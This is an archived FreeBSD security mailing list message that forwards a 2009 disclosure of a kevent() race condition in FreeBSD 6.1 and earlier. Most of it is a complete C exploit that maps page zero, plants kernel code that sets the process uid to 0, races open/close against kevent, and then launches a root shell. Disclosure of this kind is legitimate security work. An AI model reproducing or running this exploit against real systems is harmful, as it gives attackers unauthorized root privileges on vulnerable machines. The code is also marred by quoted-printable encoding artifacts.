Date: Mon, 24 Aug 2009 11:01:12 -0700 From: lxn smth <lxn.smth@gmail.com> To: freebsd-security@freebsd.org Subject: Re: FreeBSD <= 6.1 kqueue() NULL pointer dereference Message-ID: <864f75cb0908241101o309219d5x58261bb746eccb78@mail.gmail.com> In-Reply-To: <4A90258F.6090606@freebsd.lublin.pl> References: <4A90258F.6090606@freebsd.lublin.pl>
next in thread | previous in thread | raw e-mail | index | archive | help
FYI. 2009/8/22 Przemyslaw Frasunek <venglin@freebsd.lublin.pl>: > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > FreeBSD <=3D 6.1 suffers from classical check/use race condition on SMP > systems in kevent() syscall, leading to kernel mode NULL pointer > dereference. It can be triggered by spawning two threads: > 1st thread looping on open() and close() syscalls, and the 2nd thread > looping on kevent(), trying to add possibly invalid filedescriptor. > > The bug was fixed in 6.1-STABLE, just before release of 6.2-RELEASE, but > was not recognized as security vulnerability. > > The following code exploits this vulnerability to run root shell. > > /* 22.08.2009, babcia padlina > ~ * FreeBSD kevent() race condition exploit > ~ * > ~ * works only on multiprocessor systems > ~ * gcc -o padlina padlina.c -lpthread > ~ * > ~ * with thanks to Pawel Pisarczyk for in-depth ia-32 architecture > discussion > ~ */ > > #define _KERNEL > > #include <sys/types.h> > #include <stdio.h> > #include <unistd.h> > #include <sys/event.h> > #include <sys/timespec.h> > #include <pthread.h> > #include <fcntl.h> > #include <string.h> > #include <stdlib.h> > #include <sys/mman.h> > > #include <sys/param.h> > #include <sys/linker.h> > #include <sys/linker.h> > #include <sys/proc.h> > > int fd; > int kq; > struct kevent kev, ke[10]; > struct timespec timeout; > int gotroot =3D 0; > > static void kernel_code(void) { > ~ =A0 =A0 =A0 =A0struct thread *thread; > ~ =A0 =A0 =A0 =A0gotroot =3D 1; > ~ =A0 =A0 =A0 =A0asm( > ~ =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0"pushl %%eax;" > ~ =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0"movl %%fs:0, %0" > ~ =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0: "=3Dr"(thread) > ~ =A0 =A0 =A0 =A0); > ~ =A0 =A0 =A0 =A0thread->td_proc->p_ucred->cr_uid =3D 0; > ~ =A0 =A0 =A0 =A0asm("popl %eax"); > ~ =A0 =A0 =A0 =A0return; > } > > void do_thread(void) { > ~ =A0 =A0 =A0 =A0sleep(1); > > ~ =A0 =A0 =A0 =A0while (!gotroot) { > ~ =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0memset(&kev, 0, sizeof(kev)); > ~ =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0EV_SET(&kev, fd, EVFILT_VNODE, EV_ADD, 0= , 0, NULL); > > ~ =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0if (kevent(kq, &kev, 1, &ke, sizeof(ke),= &timeout) < 0) { > ~ =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0perror("kevent"); > ~ =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0} > ~ =A0 =A0 =A0 =A0} > > } > > void do_thread2(void) { > ~ =A0 =A0 =A0 =A0while(!gotroot) { > ~ =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0if ((fd =3D open("/tmp/.padlina", O_RDWR= | O_CREAT, 0600)) < > 0) > ~ =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0perror("open"); > > ~ =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0close(fd); > ~ =A0 =A0 =A0 =A0} > } > > int main(void) { > ~ =A0 =A0 =A0 =A0pthread_t pth, pth2; > ~ =A0 =A0 =A0 =A0long *ap; > ~ =A0 =A0 =A0 =A0unsigned char *p, *sp; > > ~ =A0 =A0 =A0 =A0if (mmap(0, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, = MAP_ANON | > MAP_FIXED, -1, 0) < 0) { > ~ =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0perror("mmap"); > ~ =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0return -1; > ~ =A0 =A0 =A0 =A0} > > ~ =A0 =A0 =A0 =A0memset(0x0, 0xc3, 0x1000); > > ~ =A0 =A0 =A0 =A0for (p =3D 0, sp =3D &kernel_code; *sp !=3D 0xc3;) > ~ =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0*p++ =3D *sp++; > > ~ =A0 =A0 =A0 =A0if ((kq =3D kqueue()) < 0) { > ~ =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0perror("kqueue"); > ~ =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0return -1; > ~ =A0 =A0 =A0 =A0} > > ~ =A0 =A0 =A0 =A0pthread_create(&pth, NULL, do_thread, NULL); > ~ =A0 =A0 =A0 =A0pthread_create(&pth2, NULL, do_thread2, NULL); > > ~ =A0 =A0 =A0 =A0timeout.tv_sec =3D 0; > ~ =A0 =A0 =A0 =A0timeout.tv_nsec =3D 1; > > ~ =A0 =A0 =A0 =A0while (!gotroot) > ~ =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0usleep(100); > > ~ =A0 =A0 =A0 =A0setuid(0); > ~ =A0 =A0 =A0 =A0execl("/bin/sh", "sh", 0); > > ~ =A0 =A0 =A0 =A0printf("exploit failed\n"); > ~ =A0 =A0 =A0 =A0return 0; > } > > > - -- > * Fido: 2:480/124 ** WWW: http://www.frasunek.com/ ** NICHDL: PMF9-RIPE * > * JID: venglin@jabber.atman.pl ** PGP ID: 2578FCAD ** HAM-RADIO: SQ8JIV * > -----BEGIN PGP SIGNATURE----- > Version: GnuPG v1.4.9 (MingW32) > Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org > > iEYEARECAAYFAkqQJY8ACgkQkxEnBiV4/K1IRACeI/GYTKhzGqPJLkpheDV8rEIl > yFMAnAo6czNexms9f4zMwUjzAioNRtqz > =3D8qMi > -----END PGP SIGNATURE----- >
Want to link to this message? Use this URL: <https://mail-archive.FreeBSD.org/cgi/mid.cgi?864f75cb0908241101o309219d5x58261bb746eccb78>